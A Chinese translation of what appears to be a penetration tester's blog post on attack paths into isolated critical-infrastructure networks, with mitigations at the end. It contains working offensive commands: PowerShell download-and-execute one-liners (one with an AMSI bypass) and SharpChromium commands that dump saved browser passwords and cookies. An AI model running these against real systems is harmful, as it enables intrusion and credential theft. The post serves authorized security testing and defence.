APT攻擊可能的入口
這篇文章是關于常見的錯誤配置和攻擊場景,這些錯誤配置和攻擊場景使攻擊者能夠訪問具有關鍵系統或敏感數據的獨立網絡。
由于種種原因,德國在過去幾年里對不同行業的公司實施了許多新的法規和法律,以提高他們的網絡安全。規定了持有關鍵基礎設施的所謂 KRITIS 公司和組織必須要保持網絡安全。如果這些公司/組織成為具有破壞性動機的高級持續性威脅 (APT) 的目標,那么在最壞的情況下,這可能會對對國家和人民造成嚴重影響。例如,KRITIS的公司已經執行ISO 27001認證,這是信息安全管理系統的網絡安全最佳實踐規范。KRITIS包含的一些部門如下:
- 能源部門;
- 水務部門;
- 食品行業;
- 金融和保險;
- 其他。

由于德國新出臺的法律和認證要求,包括KRITIS的公司進行了越來越多的滲透測試和其他安全評估。
可能的攻擊者入口
眾所周知的攻擊媒介不僅適用于敏感的獨立網絡,而且適用于所有的IT網絡和組織:
通過互聯網訪問系統的漏洞或錯誤配置,在大多數情況下,這將是缺少多重身份驗證 (MFA) 以及弱密碼、Web 應用程序中的漏洞或過時的系統/服務。
缺乏員工意識:例如網絡釣魚或處理任何不良/惡意設備(USB,電纜等)可能導致網絡的初始訪問。在這些場景中,攻擊者大多數時候會訪問Office-IT網絡,而不是進入獨立的網絡。
物理位置安全:如果一個具有物理訪問權限的攻擊者可以直接進入大樓并插入一個非法設備,那么最孤立的網絡是沒有意義的。根據網絡和環境的不同,也可能有許多小的獨立位置,它們被允許連接到主控制網絡。
供應鏈攻擊:制造商或服務提供商受到威脅,例如,可以通過合法更新交付惡意代碼(類似 2020 年的 Solarwinds-Hack)。
水坑攻擊:攻擊者破壞目標公司員工經常訪問的網絡服務器。瀏覽器和客戶端因此受到惡意攻擊者托管代碼的威脅,或者可能只是憑證被網絡釣魚攻擊。
前三個攻擊向量可以由滲透測試公司檢查。第四個和第五個不能被審計,因為它需要涉及第三方公司/組織,這在未經他們同意的情況下是非法的。
因此,上述描述涵蓋了前三個攻擊向量:
面向互聯網的關鍵系統漏洞;
通過C2-Stager獲取證書或初始訪問權限的網絡釣魚;
物理位置安全檢查;
橫向移動嘗試從Office-IT進入獨立的網絡;
對獨立網絡本身進行滲透測試;
如上所述,大多數情況下,攻擊者只能通過利用漏洞或忽略防范來訪問Office-IT網絡。這一領域中可能出現的錯誤配置/漏洞將在本文中討論。
雙宿主主機
雙主主機是指不僅有一個網絡接口,而且在不同網絡中有多個網絡接口的系統。假設一個運營網絡管理員想要從他的Office-IT客戶端訪問他的控制臺。他可以修補一個直接連接到運營網絡,并通過第二個網絡接口將他的客戶端連接到它:

例如,還可以有一個 Web 服務器,用于收集和可視化來自遠程網絡的數據:

這些系統因此不受防火墻的保護,防火墻將網絡彼此隔開。
通過雙宿主主機訪問遠程網絡非常簡單,如果攻擊者已經通過最常見的本地漏洞和錯誤配置在 Office-IT 域中獲得了更高的權限,他只需 pwn 管理員客戶端系統,然后通過例如 socks 代理或端口轉發進入遠程網絡。
但是我們如何找到這些雙宿主系統呢?如果你面對的是Windows環境,至少有兩種協議允許我們在沒有身份驗證的情況下枚舉遠程網絡:
NetBIOS;
通過 IOXIDResolver 接口進行 RPC;
在這兩種情況下,我們根本不需要任何用戶進行枚舉。如果在雙宿主主機上啟用了 NetBIOS,我們可以使用工具 nextnet 枚舉它的第二個網絡接口。如果你看一下 README,用法很簡單:
$ nextnet 192.168.100.0/24
{"host":"192.168.100.22","port":"137","proto":"udp","probe":"netbios","name":"Horst-PC","nets":["192.168.100.22","10.10.15.22"],"info":
{"domain":"office.local","hwaddr":"15:ee:a8:e4:10:a0"}}
從輸出信息中可以看到,第二個網絡接口的 IP 地址為 10.10.15.22。所以我們找到了一個雙宿主主機。這種掃描可能導致誤報,因為任何系統都可以有VPN網絡接口、虛擬機接口等。Airbus Cyber Security 在 2020 年發布了一篇關于該主題的 oxid resolver 博客文章。他們還提供了一個 PoC 工具,用于通過 IOXIDResolver 接口查找遠程網絡。后來,Vincent LE TOUX 將這種枚舉技術集成到了 Pingcastle 中,這使得整個域中所有系統的網絡接口的枚舉變得非常容易。只需啟動它,切換到掃描儀菜單并選擇 a-oxidbindings,然后選擇 1-all:

我自己也竊取了這段代碼,使其作為獨立的二進制文件工作,SharpOxidResolver準備用于C2。
如果沒有參數,它將在當前域中搜索計算機并獲取所有計算機的綁定。
你也可以通過一個主機名或ip地址來掃描這個特定的目標:
SharpOxidResolver.exe 192.168.100.22
如果你的目標雙宿主主機未加入域,則必須在服務級別或 Web 應用程序級別搜索漏洞以對其進行破壞。你還可以枚舉有關(可能使用的)遠程域的信息。
我剛剛遇到了另一種具有相應工具的技術,可用于查找雙宿主主機, 使用cornershot 。
暴露服務中的漏洞
在網絡獨立運行中,我們經常向客戶詢問有意通過防火墻允許的目標網絡服務。在極少數情況下,會使用任意塊規則。獨立網絡中最常用的服務如下:
SMB 或 SAMBA 共享(端口 445):多次用于網絡之間的數據交換;
HTTP/HTTPS Webserver (80,443) :用于數據可視化或狀態監控的 Web 應用程序;
MySQL (3306) 或 MSSQL (1433) 數據庫:數據交換;

如果你發現端口 445 具有網絡共享,則需要執行通常的枚舉或利用步驟。此處的關鍵字將是通過空會話、密碼噴灑或僅分析共享中的數據(如果可訪問)來擺脫循環。在最壞的情況下,攻擊者可以通過 SMB 服務創建橫向移動來破壞具有高權限用戶的系統。
查找 Web 應用程序漏洞絕對是一個太大且超出本文范圍的主題。但是我們在過去發現了關鍵的 Web 應用程序漏洞,這使我們能夠破壞 Web 服務器并通過這些漏洞進入目標網絡。
終端服務器或直接訪問
我們在不同環境中看到的另一件事是專用終端服務器用作跳轉主機來管理遠程網絡。如果客戶端告訴我,終端服務器正在使用中,我幾乎可以肯定,獲得訪問權限只是時間問題。我們看到的終端服務器實現的常見錯誤如下:
1.未使用多因素身份驗證。RDP 登錄憑據保存在客戶端系統上。如果客戶端受到威脅,攻擊者可以通過憑據轉儲或鍵盤記錄訪問終端服務器。
2.Internet DMZ 網絡中的終端服務器,想象一個可訪問網絡的系統受到威脅。如果 DMZ 系統本身沒有完全相互隔離,攻擊者將可以通過受感染的主機訪問終端服務器服務,例如 RDP/SMB/WMI 等。
一些客戶告訴我,他們的終端服務器激活了某種 Kiosk 模式。而且我總是告訴他們:ˉ\_(ツ)_/ˉ。
其他人根本不使用任何終端服務器,而是直接允許遠程桌面協議、VNC 或其他身份驗證協議。如果你直接允許任何身份驗證協議,攻擊者獲取相應憑據只是時間問題。
共享基礎架構組件
在某些項目中,我們還看到了使用 Office-IT 共享基礎架構組件的獨立網絡。在這些案例中,我們對 Office-IT 的攻擊導致了單獨的網絡攻擊:
1.共享 WSUS 服務器:可在此處使用 WSUSpendu 等工具向獨立網絡中的系統提供惡意虛假更新。
2.Active Directory 信任:這個利用路徑應該是直截了當的
3.共享 DNS 服務器:破壞 DNS 服務器的攻擊者可以進入獨立網絡系統的中間人位置(如果他們被允許連接到遠程網絡或 Internet)。這在最壞的情況下也可能導致系統攻擊。
4.共享防病毒服務器:根據使用的防病毒軟件,攻擊者可以通過中央服務器破壞連接的客戶端或服務器。PoC工具的一個例子是在本例中McAfee的BADministration。
5.共享軟件清單服務器:如果你使用第三方軟件進行更新和軟件安裝,中央服務器的危害也可能被濫用以在獨立網絡中的主機上安裝惡意軟件包。

因此,你應該始終向客戶端請求共享的基礎設施組件。手動找到這些可能需要更多的努力,而不僅僅是問這個問題。通常情況下,他們想知道他們的弱點,而你想找到他們。對雙方都有利。如果你有一個黑箱方法,它是關于檢查所有這些可能的組件和它們連接的設備/客戶端/服務器。
防火墻被破壞
如果你已經在 Office-IT 域中獲得了高權限,則可以進行一些枚舉以查找系統管理員。根據環境,尤其是在較小的環境中,管理員很可能是 Domain Admins 組的成員,并且擁有個性化的帳戶。這是一個不好的做法,但讓我們很快找到它們。
net group "Domain Admins" /domain
如果使用了跳轉服務器,你可以通過過濾Bloodhound中的大多數管理會話系統來找到它。否則,系統可能在它的描述字段,甚至在主機名中有一個跳轉或管理員。我將只展示AD-Module的枚舉方式,它可以通過以下方式導入:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1')
or
Import-Module ActiveDirectory
Powershell腳本基本上是通過Assembly::load解碼和導入的AD-Module DLL base64,所以它可以在任何客戶端或服務器上工作,而無需額外安裝。然后你可以用以下命令查詢計算機的描述字段:
Get-ADComputer -Filter {Description -Like '*admin*'} -Properties Description | Select Description
或者
Get-ADComputer -Filter {Name -Like '*admin*'} | Select Name
防火墻也可能有與Active Directory相關的組,因為防火墻管理員有一個單獨的電子郵件收件箱或文檔的網絡共享。
Get-AdGroup -Filter {name -like "*firewall*" -and name -like "*sophos*" -and name -like "*anyothervendor*"}
你還可以在網絡共享、電子郵件、Intranet/Sharepoint等中找到有關管理帳戶或跳轉主機的信,很多枚舉方法也和往常一樣。
在找到正確的組或用戶后,你可以通過任何橫向移動技術(如SMB/WMI/WinRM等)破壞系統或跳轉主機。我個人經常通過查找保存在瀏覽器中的密碼成功獲得防火墻證書。任何瀏覽器都有工具,在寫這篇文章的時候最常用的瀏覽器是Chrome,所以我要展示我認為最好的工具——SharpChromium:
AMSIBypassiex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')Invoke-SharpChromium -Command "logins"
如果用戶沒有保存憑據但登錄到防火墻管理頁面,你還可以通過以下方式轉儲 cookie:
Invoke-SharpChromium -Command "cookies"
并使用擴展 Cookie 編輯器將它們導入你自己的瀏覽器。這也授予身份驗證。要轉儲用戶憑據,你通常需要在用戶上下文中執行該工具。或者,你可以使用 SYSTEM 的主密鑰解密所有 DPAPI 密鑰。這需要一個 SYSTEM shell,例如 LaZagne 就是這樣做的。要在用戶上下文中獲取 shell,你可以使用令牌模擬或將 C2-Stager shellcode 注入目標用戶的進程。我只是專門為此目的構建了一個自定義的 TokenVator 工具,它將在大約一個月內公開發布。SharpImpersonation
如果使用單點登錄進行身份驗證,你也可以只轉儲用戶憑據并使用他的域帳戶登錄。任何其他遠程系統管理軟件也可以保存所需的憑據,因此請查看 MobaXterm、MremoteNG、WinSCP 等。如果你有足夠的時間,鍵盤記錄用戶遲早也會給你憑據。
獲得防火墻憑據后,可以通過添加自己的訪問規則來訪問獨立的網絡。
從Office IT(也就是域管理)進行枚舉并不是最終目標
一些客戶,他們不愿意給我們任何關于網絡或基礎設施的信息。因此,我們不得不堅持“黑匣子”的方法,自己尋找所有必要的信息。因此,在通過Common vulnerability提升特權后,我們必須搜索關于獨立網絡的信息。
緩解措施
最高的保護將來自物理隔離,而不是使用防火墻。這將消除本文中除了實際站點安全和員工意識之外的所有風險。
如果不需要,請禁用敏感網絡的互聯網訪問和遠程網絡訪問。如果完全隔離,許多風險就會自動消失。
如果不需要,不要使用雙宿主主機。如果你沒有別的選擇,那就使用主機防火墻來阻止來自不需要訪問的系統的任何流量。針對少數需要訪問的設備的白名單應該是最合適的。攻擊者從連接的系統竊取憑證的風險仍然存在。
最好的保護措施顯然是完全不開放端口。
不要重復使用來自其他(未受保護的)網絡的任何基礎設施組件,這可能導致敏感網絡受到攻擊。
在客戶端或跳轉主機上的任何軟件中保存憑據都不是一個好主意,使用MFA的密碼管理器代替。還應該對跳轉主機進行加固,使攻擊者更難訪問它們。
使用來自不同供應商的兩個防火墻。我們分析了環境,其中客戶IT團隊只管理第一個,而第二個由第三方供應商管理。這幾乎完全消除了通過利用或提取憑證來破壞防火墻的風險。
參考及來源:https://s3cur3th1ssh1t.github.io/On-how-to-access-protected-networks/